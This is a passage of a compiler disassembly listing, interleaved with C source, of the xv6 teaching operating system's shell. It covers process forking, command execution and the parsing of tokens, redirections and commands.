0x0(%esi),%esi 00000170 <fork1>: } int fork1(void) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 83 ec 14 sub $0x14,%esp int pid; pid = fork(50); 176: 6a 32 push $0x32 178: e8 5d 0b 00 00 call cda <fork> if(pid == -1) 17d: 83 c4 10 add $0x10,%esp 180: 83 f8 ff cmp $0xffffffff,%eax 183: 74 02 je 187 <fork1+0x17> panic("fork"); return pid; } 185: c9 leave 186: c3 ret panic("fork"); 187: 83 ec 0c sub $0xc,%esp 18a: 68 53 11 00 00 push $0x1153 18f: e8 bc ff ff ff call 150 <panic> 194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 19a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001a0 <runcmd>: { 1a0: 55 push %ebp 1a1: 89 e5 mov %esp,%ebp 1a3: 53 push %ebx 1a4: 83 ec 14 sub $0x14,%esp 1a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(cmd == 0) 1aa: 85 db test %ebx,%ebx 1ac: 74 64 je 212 <runcmd+0x72> switch(cmd->type){ 1ae: 83 3b 05 cmpl $0x5,(%ebx) 1b1: 0f 87 d8 00 00 00 ja 28f <runcmd+0xef> 1b7: 8b 03 mov (%ebx),%eax 1b9: ff 24 85 08 12 00 00 jmp *0x1208(,%eax,4) if(pipe(p) < 0) 1c0: 8d 45 f0 lea -0x10(%ebp),%eax 1c3: 83 ec 0c sub $0xc,%esp 1c6: 50 push %eax 1c7: e8 26 0b 00 00 call cf2 <pipe> 1cc: 83 c4 10 add $0x10,%esp 1cf: 85 c0 test %eax,%eax 1d1: 0f 88 c5 00 00 00 js 29c <runcmd+0xfc> if(fork1() == 0){ 1d7: e8 94 ff ff ff call 170 <fork1> 1dc: 85 c0 test %eax,%eax 1de: 0f 84 08 01 00 00 je 2ec <runcmd+0x14c> if(fork1() == 0){ 1e4: e8 87 ff ff ff call 170 <fork1> 1e9: 85 c0 test %eax,%eax 1eb: 0f 84 cd 00 00 00 je 2be <runcmd+0x11e> close(p[0]); 1f1: 83 ec 0c sub $0xc,%esp 1f4: ff 75 f0 pushl -0x10(%ebp) 1f7: e8 0e 0b 00 00 call d0a <close> close(p[1]); 1fc: 58 pop %eax 1fd: ff 75 f4 pushl -0xc(%ebp) 200: e8 05 0b 00 00 call d0a <close> wait(); 205: e8 e0 0a 00 00 call cea <wait> wait(); 20a: e8 db 0a 00 00 call cea <wait> break; 20f: 83 c4 10 add $0x10,%esp exit(); 212: e8 cb 0a 00 00 call ce2 <exit> if(fork1() == 0) 217: e8 54 ff ff ff call 170 <fork1> 21c: 85 c0 test %eax,%eax 21e: 75 f2 jne 212 <runcmd+0x72> 220: eb 62 jmp 284 <runcmd+0xe4> if(ecmd->argv[0] == 0) 222: 8b 43 04 mov 0x4(%ebx),%eax 225: 85 c0 test %eax,%eax 227: 74 e9 je 212 <runcmd+0x72> exec(ecmd->argv[0], ecmd->argv); 229: 52 push %edx 22a: 52 push %edx 22b: 8d 53 04 lea 0x4(%ebx),%edx 22e: 52 push %edx 22f: 50 push %eax 230: e8 e5 0a 00 00 call d1a <exec> printf(2, "exec %s failed\n", ecmd->argv[0]); 235: 83 c4 0c add $0xc,%esp 238: ff 73 04 pushl 0x4(%ebx) 23b: 68 5f 11 00 00 push $0x115f 240: 6a 02 push $0x2 242: e8 e9 0b 00 00 call e30 <printf> break; 247: 83 c4 10 add $0x10,%esp 24a: eb c6 jmp 212 <runcmd+0x72> if(fork1() == 0) 24c: e8 1f ff ff ff call 170 <fork1> 251: 85 c0 test %eax,%eax 253: 74 2f je 284 <runcmd+0xe4> wait(); 255: e8 90 0a 00 00 call cea <wait> runcmd(lcmd->right); 25a: 83 ec 0c sub $0xc,%esp 25d: ff 73 08 pushl 0x8(%ebx) 260: e8 3b ff ff ff call 1a0 <runcmd> close(rcmd->fd); 265: 83 ec 0c sub $0xc,%esp 268: ff 73 14 pushl 0x14(%ebx) 26b: e8 9a 0a 00 00 call d0a <close> if(open(rcmd->file, rcmd->mode) < 0){ 270: 59 pop %ecx 271: 58 pop %eax 272: ff 73 10 pushl 0x10(%ebx) 275: ff 73 08 pushl 0x8(%ebx) 278: e8 a5 0a 00 00 call d22 <open> 27d: 83 c4 10 add $0x10,%esp 280: 85 c0 test %eax,%eax 282: 78 25 js 2a9 <runcmd+0x109> runcmd(bcmd->cmd); 284: 83 ec 0c sub $0xc,%esp 287: ff 73 04 pushl 0x4(%ebx) 28a: e8 11 ff ff ff call 1a0 <runcmd> panic("runcmd"); 28f: 83 ec 0c sub $0xc,%esp 292: 68 58 11 00 00 push $0x1158 297: e8 b4 fe ff ff call 150 <panic> panic("pipe"); 29c: 83 ec 0c sub $0xc,%esp 29f: 68 7f 11 00 00 push $0x117f 2a4: e8 a7 fe ff ff call 150 <panic> printf(2, "open %s failed\n", rcmd->file); 2a9: 52 push %edx 2aa: ff 73 08 pushl 0x8(%ebx) 2ad: 68 6f 11 00 00 push $0x116f 2b2: 6a 02 push $0x2 2b4: e8 77 0b 00 00 call e30 <printf> exit(); 2b9: e8 24 0a 00 00 call ce2 <exit> close(0); 2be: 83 ec 0c sub $0xc,%esp 2c1: 6a 00 push $0x0 2c3: e8 42 0a 00 00 call d0a <close> dup(p[0]); 2c8: 5a pop %edx 2c9: ff 75 f0 pushl -0x10(%ebp) 2cc: e8 89 0a 00 00 call d5a <dup> close(p[0]); 2d1: 59 pop %ecx 2d2: ff 75 f0 pushl -0x10(%ebp) 2d5: e8 30 0a 00 00 call d0a <close> close(p[1]); 2da: 58 pop %eax 2db: ff 75 f4 pushl -0xc(%ebp) 2de: e8 27 0a 00 00 call d0a <close> runcmd(pcmd->right); 2e3: 58 pop %eax 2e4: ff 73 08 pushl 0x8(%ebx) 2e7: e8 b4 fe ff ff call 1a0 <runcmd> close(1); 2ec: 83 ec 0c sub $0xc,%esp 2ef: 6a 01 push $0x1 2f1: e8 14 0a 00 00 call d0a <close> dup(p[1]); 2f6: 58 pop %eax 2f7: ff 75 f4 pushl -0xc(%ebp) 2fa: e8 5b 0a 00 00 call d5a <dup> close(p[0]); 2ff: 58 pop %eax 300: ff 75 f0 pushl -0x10(%ebp) 303: e8 02 0a 00 00 call d0a <close> close(p[1]); 308: 58 pop %eax 309: ff 75 f4 pushl -0xc(%ebp) 30c: e8 f9 09 00 00 call d0a <close> runcmd(pcmd->left); 311: 58 pop %eax 312: ff 73 04 pushl 0x4(%ebx) 315: e8 86 fe ff ff call 1a0 <runcmd> 31a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000320 <execcmd>: //PAGEBREAK! // Constructors struct cmd* execcmd(void) { 320: 55 push %ebp 321: 89 e5 mov %esp,%ebp 323: 53 push %ebx 324: 83 ec 10 sub $0x10,%esp struct execcmd *cmd; cmd = malloc(sizeof(*cmd)); 327: 6a 54 push $0x54 329: e8 42 0d 00 00 call 1070 <malloc> memset(cmd, 0, sizeof(*cmd)); 32e: 83 c4 0c add $0xc,%esp cmd = malloc(sizeof(*cmd)); 331: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 333: 6a 54 push $0x54 335: 6a 00 push $0x0 337: 50 push %eax 338: e8 13 08 00 00 call b50 <memset> cmd->type = EXEC; 33d: c7 03 01 00 00 00 movl $0x1,(%ebx) return (struct cmd*)cmd; } 343: 89 d8 mov %ebx,%eax 345: 8b 5d fc mov -0x4(%ebp),%ebx 348: c9 leave 349: c3 ret 34a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000350 <redircmd>: struct cmd* redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 53 push %ebx 354: 83 ec 10 sub $0x10,%esp struct redircmd *cmd; cmd = malloc(sizeof(*cmd)); 357: 6a 18 push $0x18 359: e8 12 0d 00 00 call 1070 <malloc> memset(cmd, 0, sizeof(*cmd)); 35e: 83 c4 0c add $0xc,%esp cmd = malloc(sizeof(*cmd)); 361: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 363: 6a 18 push $0x18 365: 6a 00 push $0x0 367: 50 push %eax 368: e8 e3 07 00 00 call b50 <memset> cmd->type = REDIR; cmd->cmd = subcmd; 36d: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = REDIR; 370: c7 03 02 00 00 00 movl $0x2,(%ebx) cmd->cmd = subcmd; 376: 89 43 04 mov %eax,0x4(%ebx) cmd->file = file; 379: 8b 45 0c mov 0xc(%ebp),%eax 37c: 89 43 08 mov %eax,0x8(%ebx) cmd->efile = efile; 37f: 8b 45 10 mov 0x10(%ebp),%eax 382: 89 43 0c mov %eax,0xc(%ebx) cmd->mode = mode; 385: 8b 45 14 mov 0x14(%ebp),%eax 388: 89 43 10 mov %eax,0x10(%ebx) cmd->fd = fd; 38b: 8b 45 18 mov 0x18(%ebp),%eax 38e: 89 43 14 mov %eax,0x14(%ebx) return (struct cmd*)cmd; } 391: 89 d8 mov %ebx,%eax 393: 8b 5d fc mov -0x4(%ebp),%ebx 396: c9 leave 397: c3 ret 398: 90 nop 399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000003a0 <pipecmd>: struct cmd* pipecmd(struct cmd *left, struct cmd *right) { 3a0: 55 push %ebp 3a1: 89 e5 mov %esp,%ebp 3a3: 53 push %ebx 3a4: 83 ec 10 sub $0x10,%esp struct pipecmd *cmd; cmd = malloc(sizeof(*cmd)); 3a7: 6a 0c push $0xc 3a9: e8 c2 0c 00 00 call 1070 <malloc> memset(cmd, 0, sizeof(*cmd)); 3ae: 83 c4 0c add $0xc,%esp cmd = malloc(sizeof(*cmd)); 3b1: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 3b3: 6a 0c push $0xc 3b5: 6a 00 push $0x0 3b7: 50 push %eax 3b8: e8 93 07 00 00 call b50 <memset> cmd->type = PIPE; cmd->left = left; 3bd: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = PIPE; 3c0: c7 03 03 00 00 00 movl $0x3,(%ebx) cmd->left = left; 3c6: 89 43 04 mov %eax,0x4(%ebx) cmd->right = right; 3c9: 8b 45 0c mov 0xc(%ebp),%eax 3cc: 89 43 08 mov %eax,0x8(%ebx) return (struct cmd*)cmd; } 3cf: 89 d8 mov %ebx,%eax 3d1: 8b 5d fc mov -0x4(%ebp),%ebx 3d4: c9 leave 3d5: c3 ret 3d6: 8d 76 00 lea 0x0(%esi),%esi 3d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000003e0 <listcmd>: struct cmd* listcmd(struct cmd *left, struct cmd *right) { 3e0: 55 push %ebp 3e1: 89 e5 mov %esp,%ebp 3e3: 53 push %ebx 3e4: 83 ec 10 sub $0x10,%esp struct listcmd *cmd; cmd = malloc(sizeof(*cmd)); 3e7: 6a 0c push $0xc 3e9: e8 82 0c 00 00 call 1070 <malloc> memset(cmd, 0, sizeof(*cmd)); 3ee: 83 c4 0c add $0xc,%esp cmd = malloc(sizeof(*cmd)); 3f1: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 3f3: 6a 0c push $0xc 3f5: 6a 00 push $0x0 3f7: 50 push %eax 3f8: e8 53 07 00 00 call b50 <memset> cmd->type = LIST; cmd->left = left; 3fd: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = LIST; 400: c7 03 04 00 00 00 movl $0x4,(%ebx) cmd->left = left; 406: 89 43 04 mov %eax,0x4(%ebx) cmd->right = right; 409: 8b 45 0c mov 0xc(%ebp),%eax 40c: 89 43 08 mov %eax,0x8(%ebx) return (struct cmd*)cmd; } 40f: 89 d8 mov %ebx,%eax 411: 8b 5d fc mov -0x4(%ebp),%ebx 414: c9 leave 415: c3 ret 416: 8d 76 00 lea 0x0(%esi),%esi 419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000420 <backcmd>: struct cmd* backcmd(struct cmd *subcmd) { 420: 55 push %ebp 421: 89 e5 mov %esp,%ebp 423: 53 push %ebx 424: 83 ec 10 sub $0x10,%esp struct backcmd *cmd; cmd = malloc(sizeof(*cmd)); 427: 6a 08 push $0x8 429: e8 42 0c 00 00 call 1070 <malloc> memset(cmd, 0, sizeof(*cmd)); 42e: 83 c4 0c add $0xc,%esp cmd = malloc(sizeof(*cmd)); 431: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 433: 6a 08 push $0x8 435: 6a 00 push $0x0 437: 50 push %eax 438: e8 13 07 00 00 call b50 <memset> cmd->type = BACK; cmd->cmd = subcmd; 43d: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = BACK; 440: c7 03 05 00 00 00 movl $0x5,(%ebx) cmd->cmd = subcmd; 446: 89 43 04 mov %eax,0x4(%ebx) return (struct cmd*)cmd; } 449: 89 d8 mov %ebx,%eax 44b: 8b 5d fc mov -0x4(%ebp),%ebx 44e: c9 leave 44f: c3 ret 00000450 <gettoken>: char whitespace[] = " \t\r\n\v"; char symbols[] = "<|>&;()"; int gettoken(char **ps, char *es, char **q, char **eq) { 450: 55 push %ebp 451: 89 e5 mov %esp,%ebp 453: 57 push %edi 454: 56 push %esi 455: 53 push %ebx 456: 83 ec 0c sub $0xc,%esp char *s; int ret; s = *ps; 459: 8b 45 08 mov 0x8(%ebp),%eax { 45c: 8b 5d 0c mov 0xc(%ebp),%ebx 45f: 8b 7d 10 mov 0x10(%ebp),%edi s = *ps; 462: 8b 30 mov (%eax),%esi while(s < es && strchr(whitespace, *s)) 464: 39 de cmp %ebx,%esi 466: 72 0f jb 477 <gettoken+0x27> 468: eb 25 jmp 48f <gettoken+0x3f> 46a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi s++; 470: 83 c6 01 add $0x1,%esi while(s < es && strchr(whitespace, *s)) 473: 39 f3 cmp %esi,%ebx 475: 74 18 je 48f <gettoken+0x3f> 477: 0f be 06 movsbl (%esi),%eax 47a: 83 ec 08 sub $0x8,%esp 47d: 50 push %eax 47e: 68 f8 17 00 00 push $0x17f8 483: e8 e8 06 00 00 call b70 <strchr> 488: 83 c4 10 add $0x10,%esp 48b: 85 c0 test %eax,%eax 48d: 75 e1 jne 470 <gettoken+0x20> if(q) 48f: 85 ff test %edi,%edi 491: 74 02 je 495 <gettoken+0x45> *q = s; 493: 89 37 mov %esi,(%edi) ret = *s; 495: 0f be 06 movsbl (%esi),%eax switch(*s){ 498: 3c 29 cmp $0x29,%al 49a: 7f 54 jg 4f0 <gettoken+0xa0> 49c: 3c 28 cmp $0x28,%al 49e: 0f 8d c8 00 00 00 jge 56c <gettoken+0x11c> 4a4: 31 ff xor %edi,%edi 4a6: 84 c0 test %al,%al 4a8: 0f 85 e2 00 00 00 jne 590 <gettoken+0x140> ret = 'a'; while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) s++; break; } if(eq) 4ae: 8b 55 14 mov 0x14(%ebp),%edx 4b1: 85 d2 test %edx,%edx 4b3: 74 05 je 4ba <gettoken+0x6a> *eq = s; 4b5: 8b 45 14 mov 0x14(%ebp),%eax 4b8: 89 30 mov %esi,(%eax) while(s < es && strchr(whitespace, *s)) 4ba: 39 f3 cmp %esi,%ebx 4bc: 77 09 ja 4c7 <gettoken+0x77> 4be: eb 1f jmp 4df <gettoken+0x8f> s++; 4c0: 83 c6 01 add $0x1,%esi while(s < es && strchr(whitespace, *s)) 4c3: 39 f3 cmp %esi,%ebx 4c5: 74 18 je 4df <gettoken+0x8f> 4c7: 0f be 06 movsbl (%esi),%eax 4ca: 83 ec 08 sub $0x8,%esp 4cd: 50 push %eax 4ce: 68 f8 17 00 00 push $0x17f8 4d3: e8 98 06 00 00 call b70 <strchr> 4d8: 83 c4 10 add $0x10,%esp 4db: 85 c0 test %eax,%eax 4dd: 75 e1 jne 4c0 <gettoken+0x70> *ps = s; 4df: 8b 45 08 mov 0x8(%ebp),%eax 4e2: 89 30 mov %esi,(%eax) return ret; } 4e4: 8d 65 f4 lea -0xc(%ebp),%esp 4e7: 89 f8 mov %edi,%eax 4e9: 5b pop %ebx 4ea: 5e pop %esi 4eb: 5f pop %edi 4ec: 5d pop %ebp 4ed: c3 ret 4ee: 66 90 xchg %ax,%ax switch(*s){ 4f0: 3c 3e cmp $0x3e,%al 4f2: 75 1c jne 510 <gettoken+0xc0> if(*s == '>'){ 4f4: 80 7e 01 3e cmpb $0x3e,0x1(%esi) 4f8: 0f 84 82 00 00 00 je 580 <gettoken+0x130> s++; 4fe: 83 c6 01 add $0x1,%esi 501: bf 3e 00 00 00 mov $0x3e,%edi 506: eb a6 jmp 4ae <gettoken+0x5e> 508: 90 nop 509: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi switch(*s){ 510: 7f 56 jg 568 <gettoken+0x118> 512: 8d 48 c5 lea -0x3b(%eax),%ecx 515: 80 f9 01 cmp $0x1,%cl 518: 76 52 jbe 56c <gettoken+0x11c> while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 51a: 39 f3 cmp %esi,%ebx 51c: 77 24 ja 542 <gettoken+0xf2> 51e: eb 7a jmp 59a <gettoken+0x14a> 520: 0f be 06 movsbl (%esi),%eax 523: 83 ec 08 sub $0x8,%esp 526: 50 push %eax 527: 68 f0 17 00 00 push $0x17f0 52c: e8 3f 06 00 00 call b70 <strchr> 531: 83 c4 10 add $0x10,%esp 534: 85 c0 test %eax,%eax 536: 75 1f jne 557 <gettoken+0x107> s++; 538: 83 c6 01 add $0x1,%esi while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 53b: 39 f3 cmp %esi,%ebx 53d: 74 5b je 59a <gettoken+0x14a> 53f: 0f be 06 movsbl (%esi),%eax 542: 83 ec 08 sub $0x8,%esp 545: 50 push %eax 546: 68 f8 17 00 00 push $0x17f8 54b: e8 20 06 00 00 call b70 <strchr> 550: 83 c4 10 add $0x10,%esp 553: 85 c0 test %eax,%eax 555: 74 c9 je 520 <gettoken+0xd0> ret = 'a'; 557: bf 61 00 00 00 mov $0x61,%edi 55c: e9 4d ff ff ff jmp 4ae <gettoken+0x5e> 561: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi switch(*s){ 568: 3c 7c cmp $0x7c,%al 56a: 75 ae jne 51a <gettoken+0xca> ret = *s; 56c: 0f be f8 movsbl %al,%edi s++; 56f: 83 c6 01 add $0x1,%esi break; 572: e9 37 ff ff ff jmp 4ae <gettoken+0x5e> 577: 89 f6 mov %esi,%esi 579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi s++; 580: 83 c6 02 add $0x2,%esi ret = '+'; 583: bf 2b 00 00 00 mov $0x2b,%edi 588: e9 21 ff ff ff jmp 4ae <gettoken+0x5e> 58d: 8d 76 00 lea 0x0(%esi),%esi switch(*s){ 590: 3c 26 cmp $0x26,%al 592: 0f 85 82 ff ff ff jne 51a <gettoken+0xca> 598: eb d2 jmp 56c <gettoken+0x11c> if(eq) 59a: 8b 45 14 mov 0x14(%ebp),%eax 59d: bf 61 00 00 00 mov $0x61,%edi 5a2: 85 c0 test %eax,%eax 5a4: 0f 85 0b ff ff ff jne 4b5 <gettoken+0x65> 5aa: e9 30 ff ff ff jmp 4df <gettoken+0x8f> 5af: 90 nop 000005b0 <peek>: int peek(char **ps, char *es, char *toks) { 5b0: 55 push %ebp 5b1: 89 e5 mov %esp,%ebp 5b3: 57 push %edi 5b4: 56 push %esi 5b5: 53 push %ebx 5b6: 83 ec 0c sub $0xc,%esp 5b9: 8b 7d 08 mov 0x8(%ebp),%edi 5bc: 8b 75 0c mov 0xc(%ebp),%esi char *s; s = *ps; 5bf: 8b 1f mov (%edi),%ebx while(s < es && strchr(whitespace, *s)) 5c1: 39 f3 cmp %esi,%ebx 5c3: 72 12 jb 5d7 <peek+0x27> 5c5: eb 28 jmp 5ef <peek+0x3f> 5c7: 89 f6 mov %esi,%esi 5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi s++; 5d0: 83 c3 01 add $0x1,%ebx while(s < es && strchr(whitespace, *s)) 5d3: 39 de cmp %ebx,%esi 5d5: 74 18 je 5ef <peek+0x3f> 5d7: 0f be 03 movsbl (%ebx),%eax 5da: 83 ec 08 sub $0x8,%esp 5dd: 50 push %eax 5de: 68 f8 17 00 00 push $0x17f8 5e3: e8 88 05 00 00 call b70 <strchr> 5e8: 83 c4 10 add $0x10,%esp 5eb: 85 c0 test %eax,%eax 5ed: 75 e1 jne 5d0 <peek+0x20> *ps = s; 5ef: 89 1f mov %ebx,(%edi) return *s && strchr(toks, *s); 5f1: 0f be 13 movsbl (%ebx),%edx 5f4: 31 c0 xor %eax,%eax 5f6: 84 d2 test %dl,%dl 5f8: 74 17 je 611 <peek+0x61> 5fa: 83 ec 08 sub $0x8,%esp 5fd: 52 push %edx 5fe: ff 75 10 pushl 0x10(%ebp) 601: e8 6a 05 00 00 call b70 <strchr> 606: 83 c4 10 add $0x10,%esp 609: 85 c0 test %eax,%eax 60b: 0f 95 c0 setne %al 60e: 0f b6 c0 movzbl %al,%eax } 611: 8d 65 f4 lea -0xc(%ebp),%esp 614: 5b pop %ebx 615: 5e pop %esi 616: 5f pop %edi 617: 5d pop %ebp 618: c3 ret 619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000620 <parseredirs>: return cmd; } struct cmd* parseredirs(struct cmd *cmd, char **ps, char *es) { 620: 55 push %ebp 621: 89 e5 mov %esp,%ebp 623: 57 push %edi 624: 56 push %esi 625: 53 push %ebx 626: 83 ec 1c sub $0x1c,%esp 629: 8b 75 0c mov 0xc(%ebp),%esi 62c: 8b 5d 10 mov 0x10(%ebp),%ebx 62f: 90 nop int tok; char *q, *eq; while(peek(ps, es, "<>")){ 630: 83 ec 04 sub $0x4,%esp 633: 68 a1 11 00 00 push $0x11a1 638: 53 push %ebx 639: 56 push %esi 63a: e8 71 ff ff ff call 5b0 <peek> 63f: 83 c4 10 add $0x10,%esp 642: 85 c0 test %eax,%eax 644: 74 6a je 6b0 <parseredirs+0x90> tok = gettoken(ps, es, 0, 0); 646: 6a 00 push $0x0 648: 6a 00 push $0x0 64a: 53 push %ebx 64b: 56 push %esi 64c: e8 ff fd ff ff call 450 <gettoken> 651: 89 c7 mov %eax,%edi if(gettoken(ps, es, &q, &eq) != 'a') 653: 8d 45 e4 lea -0x1c(%ebp),%eax 656: 50 push %eax 657: 8d 45 e0 lea -0x20(%ebp),%eax 65a: 50 push %eax 65b: 53 push %ebx 65c: 56 push %esi 65d: e8 ee fd ff ff call 450 <gettoken> 662: 83 c4 20 add $0x20,%esp 665: 83 f8 61 cmp $0x61,%eax 668: 75 51 jne 6bb <parseredirs+0x9b> panic("missing file for redirection"); switch(tok){ 66a: 83 ff 3c cmp $0x3c,%edi 66d: 74 31 je 6a0 <parseredirs+0x80> 66f: 83 ff 3e cmp $0x3e,%edi 672: 74 05 je 679 <parseredirs+0x59> 674: 83 ff 2b cmp $0x2b,%edi 677: 75 b7 jne 630 <parseredirs+0x10> break; case '>': cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); break; case '+': // >> cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); 679: 83 ec 0c sub $0xc,%esp 67c: 6a 01 push $0x1 67e: 68 01 02 00 00 push $0x201 683: ff 75 e4 pushl -0x1c(%ebp) 686: ff 75 e0 pushl -0x20(%ebp) 689: ff 75 08 pushl 0x8(%ebp) 68c: e8 bf fc ff ff call 350 <redircmd> break; 691: 83 c4 20 add $0x20,%esp cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); 694: 89 45 08 mov %eax,0x8(%ebp) break; 697: eb 97 jmp 630 <parseredirs+0x10> 699: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi cmd = redircmd(cmd, q, eq, O_RDONLY, 0); 6a0: 83 ec 0c sub $0xc,%esp 6a3: 6a 00 push $0x0 6a5: 6a 00 push $0x0 6a7: eb da jmp 683 <parseredirs+0x63> 6a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } } return cmd; } 6b0: 8b 45 08 mov 0x8(%ebp),%eax 6b3: 8d 65 f4 lea -0xc(%ebp),%esp 6b6: 5b pop %ebx 6b7: 5e pop %esi 6b8: 5f pop %edi 6b9: 5d pop %ebp 6ba: c3 ret panic("missing file for redirection"); 6bb: 83 ec 0c sub $0xc,%esp 6be: 68 84 11 00 00 push $0x1184 6c3: e8 88 fa ff ff call 150 <panic> 6c8: 90 nop 6c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000006d0 <parseexec>: return cmd; } struct cmd* parseexec(char **ps, char *es) { 6d0: 55 push %ebp 6d1: 89 e5 mov %esp,%ebp 6d3: 57 push %edi 6d4: 56 push %esi 6d5: 53 push %ebx 6d6: 83 ec 30 sub $0x30,%esp 6d9: 8b 75 08 mov 0x8(%ebp),%esi 6dc: 8b 7d 0c mov 0xc(%ebp),%edi char *q, *eq; int tok, argc; struct execcmd *cmd; struct cmd *ret; if(peek(ps, es, "(")) 6df: 68 a4 11 00 00 push $0x11a4 6e4: 57 push %edi 6e5: 56 push %esi 6e6: e8 c5 fe ff ff call 5b0 <peek> 6eb: 83 c4 10 add $0x10,%esp 6ee: 85 c0 test %eax,%eax 6f0: 0f 85 92 00 00 00 jne 788 <parseexec+0xb8> 6f6: 89 c3 mov %eax,%ebx return parseblock(ps, es); ret = execcmd(); 6f8: e8 23 fc ff ff call 320 <execcmd> cmd = (struct execcmd*)ret; argc = 0; ret = parseredirs(ret, ps, es); 6fd: 83 ec 04 sub $0x4,%esp ret = execcmd(); 700: 89 45 d0 mov %eax,-0x30(%ebp) ret = parseredirs(ret, ps, es); 703: 57 push %edi 704: 56 push %esi 705: 50 push %eax 706: e8 15 ff ff ff call 620 <parseredirs> 70b: 83 c4 10 add $0x10,%esp 70e: 89 45 d4 mov %eax,-0x2c(%ebp) 711: eb 18 jmp 72b <parseexec+0x5b> 713: 90 nop 714: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cmd->argv[argc] = q; cmd->eargv[argc] = eq; argc++; if(argc >= MAXARGS) panic("too many args"); ret = parseredirs(ret, ps, es); 718: 83 ec 04 sub $0x4,%esp 71b: 57 push %edi 71c: 56 push %esi 71d: ff 75 d4 pushl -0x2c(%ebp) 720: e8 fb fe ff ff call 620 <parseredirs> 725: 83 c4 10 add $0x10,%esp 728: 89 45 d4 mov %eax,-0x2c(%ebp) while(!peek(ps, es, "|)&;")){ 72b: 83 ec 04 sub $0x4,%esp 72e: 68 bb 11 00 00 push $0x11bb 733: 57 push %edi 734: 56 push %esi 735: e8 76 fe ff ff call 5b0 <peek> 73a: 83 c4 10 add $0x10,%esp 73d: 85 c0 test %eax,%eax 73f: 75 67 jne 7a8 <parseexec+0xd8> if((tok=gettoken(ps, es, &q, &eq)) == 0) 741: 8d 45 e4 lea -0x1c(%ebp),%eax 744: 50 push %eax 745: 8d 45 e0 lea -0x20(%ebp),%eax 748: 50 push %eax 749: 57 push %edi 74a: 56 push %esi 74b: e8 00 fd ff ff call 450 <gettoken> 750: 83 c4 10 add $0x10,%esp 753: 85 c0 test %eax,%eax 755: 74 51 je 7a8 <parseexec+0xd8> if(tok != 'a') 757: 83 f8 61 cmp $0x61,%eax 75a: 75 6b jne 7c7 <parseexec+0xf7> cmd->argv[argc] = q; 75c: 8b 45 e0 mov -0x20(%ebp),%eax 75f: 8b 55 d0 mov -0x30(%ebp),%edx 762: 89 44 9a 04 mov %eax,0x4(%edx,%ebx,4) cmd->eargv[argc] = eq; 766: 8b 45 e4 mov -0x1c(%ebp),%eax 769: 89 44 9a 2c mov %eax,0x2c(%edx,%ebx,4) argc++; 76d: 83 c3 01 add $0x1,%ebx if(argc >= MAXARGS) 770: 83 fb 0a cmp $0xa,%ebx 773: 75 a3 jne 718 <parseexec+0x48> panic("too many args"); 775: 83 ec 0c sub $0xc,%esp 778: 68 ad 11 00 00 push $0x11ad 77d: e8 ce f9 ff ff call 150 <panic> 782: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return parseblock(ps, es); 788: 83 ec 08 sub $0x8,%esp 78b: 57 push %edi 78c: 56 push %esi 78d: e8 5e 01 00 00 call 8f0 <parseblock> 792: 83 c4 10 add $0x10,%esp 795: 89 45 d4 mov %eax,-0x2c(%ebp) } cmd->argv[argc] = 0; cmd->eargv[argc] = 0; return ret; } 798: 8b 45 d4 mov -0x2c(%ebp),%eax 79b: 8d 65 f4 lea -0xc(%ebp),%esp 79e: 5b pop %ebx 79f: 5e pop %esi 7a0: 5f pop %edi 7a1: 5d pop %ebp 7a2: c3 ret 7a3: 90 nop 7a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 7a8: 8b 45 d0 mov -0x30(%ebp),%eax 7ab: 8d 04 98 lea (%eax,%ebx,4),%eax cmd->argv[argc] = 0; 7ae: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) cmd->eargv[argc] = 0; 7b5: c7 40 2c 00 00 00 00 movl $0x0,0x2c(%eax) } 7bc: 8b 45 d4 mov -0x2c(%ebp),%eax 7bf: 8d 65 f4 lea -0xc(%ebp),%esp 7c2: 5b pop %ebx 7c3: 5e pop %esi 7c4: 5f pop %edi 7c5: 5d pop %ebp 7c6: c3 ret panic("syntax"); 7c7: 83 ec 0c sub $0xc,%esp 7ca: 68 a6 11 00 00 push $0x11a6 7cf: e8 7c f9 ff ff call 150 <panic> 7d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 7da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000007e0 <parsepipe>: { 